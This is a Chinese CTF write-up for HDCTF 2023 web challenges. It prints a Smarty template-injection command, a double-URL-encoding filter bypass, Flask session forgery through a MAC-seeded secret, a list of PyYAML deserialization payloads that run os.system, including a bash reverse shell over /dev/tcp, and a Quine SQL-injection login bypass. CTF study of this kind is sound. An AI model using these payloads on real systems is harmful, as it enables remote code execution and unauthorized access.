HDCTF2023 WP


海南大学的比赛,六个web就出了四个,java的题目还是一窍不通。我是菜鸟,想寄就寄

Welcome To HDCTF 2023

直接改js,没啥好说的

SearchMaster

smarty的模板注入,看出题人的原意是用Smarty 4.1.0的CVE打,但是实际上好像是个payload都能用。

比如{if system("cat /f*")}{/if}

YamiYami

是之前国赛的一个题改的,但是在读源码的地方加了过滤

比赛的时候没读出来源码,不过看见了个非预期

直接读file:///proc/1/environ

image-20230423134729860

接下来说一下预期解

首先是这个过滤的问题

image-20230423135156061

可以通过对file后边的内容进行双重url编码进行绕过

得到源码之后前半部分其实跟国赛那个差不多


#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

首先要先伪造session去进入/boogipop路由

这里是伪随机random.seed(uuid.getnode()),uuid.getnode()得到的是计算机的硬件地址,也就是在/sys/class/net/eth0/address里

image-20230423135744422

image-20230423140323450

然后就用工具伪造session就行了

image-20230423144416908

因为会去利用yaml.full_load去加载文件,所以后边是一个yaml的反序列化

具体可以看这两个,payload感觉是根据python源码写出来的,只会照抄(

浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)

PyYAML反序列化防御和ByPass - FreeBuf网络安全行业门户

PyYaml反序列化 | Boogiepop Doesn't Laugh (boogipop.com)

写几个常用的payload

PyYAML版本 < 5.1

# python/object/apply链
yaml.load('exp: !!python/object/apply:os.system ["whoami"]')

yaml.load("exp: !!python/object/apply:os.system ['whoami']")

# 引号当然不是必须的
yaml.load("exp: !!python/object/apply:os.system [whoami]")

yaml.load("""
exp: !!python/object/apply:os.system
- whoami
""")

yaml.load("""
exp: !!python/object/apply:os.system
  args: ["whoami"]
""")

# command 是 os.system 的参数名
yaml.load("""
exp: !!python/object/apply:os.system
  kwds: {"command": "whoami"}
""")

yaml.load("!!python/object/apply:os.system [whoami]: exp")

yaml.load("!!python/object/apply:os.system [whoami]")

yaml.load("""
!!python/object/apply:os.system
- whoami
""")

#python/object/new 和 apply的payload一样 就是把apply改成new了

PyYAML版本 >= 5.1
在使用unsafe_load方法或是UnsafeLoader构造器时和5.1以下版本一样,但是默认使用的是FullConstructor

yaml.full_load("""
!!python/object/new:type
args:
  - exp
  - !!python/tuple []
  - {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
# 在 Python 中,当你使用 type 函数创建一个新类型时,你可以提供三个参数:类型的名称,父类的元组(如果没有父类则为空元组),以及一个包含属性和方法的字典。如果不需要传递参数给构造函数,那么第二个参数就可以是一个空元组

yaml.full_load("""
!!python/object/new:str
    args: []
    # 通过 state 触发调用
    state: !!python/tuple
      - "__import__('os').system('whoami')"
      # 下面构造 exp
      - !!python/object/new:staticmethod
        args: []
        state: 
          update: !!python/name:eval
          items: !!python/name:list  # 不设置这个也可以,会报错但也已经执行成功
""")
!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/ <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

上传yaml文件之后

image-20230423144506389

我这里不小心执行了一遍flag.sh,把flag给重写了(

image-20230423144520949

LoginMaster(Quine注入)

这题感觉挺有意思的,虽然是第五空间的原题

robots.txt会给出得到flag的条件和一些过滤,不过我这直接贴第五空间的源码吧

<?php
include_once("lib.php");
function alertMes($mes,$url){
    die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
    die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>

可以看到只要满足$username == 'admin'和$row['password'] === $password就能拿到flag

但是实际上会发现当username是admin的时候,不管password是什么都会报something wrong

也就是说row根本不存在,这个登录是一个空表

所以这时候就要用quine的方式让输入等于输出

Quine又叫做自产生程序,在sql注入技术中,这是一种使得输入的sql语句和输出的sql语句一致的技术,常用于一些特殊的登陆绕过sql注入中。

其实就是利用sql的replace函数进行一次次的嵌套,实现了让输入等于输出的功能

CTFHub_2021-第五空间智能安全大赛-Web-yet_another_mysql_injection(quine注入) - zhengna - 博客园 (cnblogs.com)

从三道赛题再谈Quine trick-安全客 - 安全资讯平台 (anquanke.com)

当我们输入的是下面这个的时候,返回的内容也是这个

replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),``'replace(replace(".",char(34),char(39)),char(46),".")');

但是在sql注入里,我们首先需要去闭合原有的sql语句,还要注释后面的语句,因此需要对语句进行修改。

1'UNION(SELECT(replace(replace('1"UNION(SELECT(replace(replace(".",char(34),char(39)),char(46),".")))#',char(34),char(39)),char(46),'1"UNION(SELECT(replace(replace(".",char(34),char(39)),char(46),".")))#')))#

替换后变为

1'UNION(SELECT(replace(replace('1"UNION(SELECT(replace(replace("%",char(34),char(39)),char(37),"%")))#',char(34),char(39)),char(46),'1"UNION(SELECT(replace(replace(".",char(34),char(39)),char(46),".")))#')))#

简单说Quine注入的主要结构就是

replace(A,分隔符,A)

在上面那个payload中

 A为:
 
1"UNION(SELECT(replace(replace(".",char(34),char(39)),char(46),".")))#

而去掉了这两个A之后的payload为

1'UNION(SELECT(replace(replace('',char(34),char(39)),char(46),'')))#
	  
可以看到和A的结构几乎一模一样,所以Quine注入其实就是replace(A,分隔符,A)这种形式的嵌套

文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录